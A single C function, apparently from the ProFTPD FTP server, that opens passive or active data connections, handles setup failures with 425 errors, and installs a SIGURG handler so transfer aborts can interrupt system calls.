int pr_data_open(char *filename, char *reason, int direction, off_t size) { int res = 0; /* Make sure that any abort flags have been cleared. */ session.sf_flags &= ~SF_ABORT; if (session.xfer.p == NULL) { data_new_xfer(filename, direction); } else { session.xfer.direction = direction; } if (!reason) reason = filename; /* Passive data transfers... */ if (session.sf_flags & SF_PASSIVE || session.sf_flags & SF_EPSV_ALL) { if (session.d == NULL) { pr_log_pri(PR_LOG_ERR, "Internal error: PASV mode set, but no data " "connection listening"); pr_session_disconnect(NULL, PR_SESS_DISCONNECT_BY_APPLICATION, NULL); } res = data_pasv_open(reason, size); /* Active data transfers... */ } else { if (session.d != NULL) { pr_log_pri(PR_LOG_ERR, "Internal error: non-PASV mode, yet data " "connection already exists?!?"); pr_session_disconnect(NULL, PR_SESS_DISCONNECT_BY_APPLICATION, NULL); } res = data_active_open(reason, size); } if (res >= 0) { struct sigaction act; if (pr_netio_postopen(session.d->instrm) < 0) { pr_response_add_err(R_425, _("Unable to build data connection: %s"), strerror(session.d->xerrno)); destroy_pool(session.d->pool); session.d = NULL; return -1; } if (pr_netio_postopen(session.d->outstrm) < 0) { pr_response_add_err(R_425, _("Unable to build data connection: %s"), strerror(session.d->xerrno)); destroy_pool(session.d->pool); session.d = NULL; return -1; } memset(&session.xfer.start_time, '\0', sizeof(session.xfer.start_time)); gettimeofday(&session.xfer.start_time, NULL); if (session.xfer.direction == PR_NETIO_IO_RD) nstrm = session.d->instrm; else nstrm = session.d->outstrm; session.sf_flags |= SF_XFER; if (timeout_noxfer) pr_timer_reset(PR_TIMER_NOXFER, ANY_MODULE); /* Allow aborts -- set the current NetIO stream to allow interrupted * syscalls, so our SIGURG handler can interrupt it */ pr_netio_set_poll_interval(nstrm, 1); /* PORTABILITY: sigaction is used here to allow us to indicate * (w/ POSIX at least) that we want SIGURG to interrupt syscalls. Put * in whatever is necessary for your arch here; probably not necessary * as the only _important_ interrupted syscall is select(), which on * any sensible system is interrupted. */ act.sa_handler = data_urgent; sigemptyset(&act.sa_mask); act.sa_flags = 0; #ifdef SA_INTERRUPT act.sa_flags |= SA_INTERRUPT; #endif if (sigaction(SIGURG, &act, NULL) < 0) pr_log_pri(PR_LOG_WARNING, "warning: unable to set SIGURG signal handler: %s", strerror(errno)); #ifdef HAVE_SIGINTERRUPT /* This is the BSD way of ensuring interruption. * Linux uses it too (??) */ if (siginterrupt(SIGURG, 1) < 0) pr_log_pri(PR_LOG_WARNING, "warning: unable to make SIGURG interrupt system calls: %s", strerror(errno)); #endif } return res; }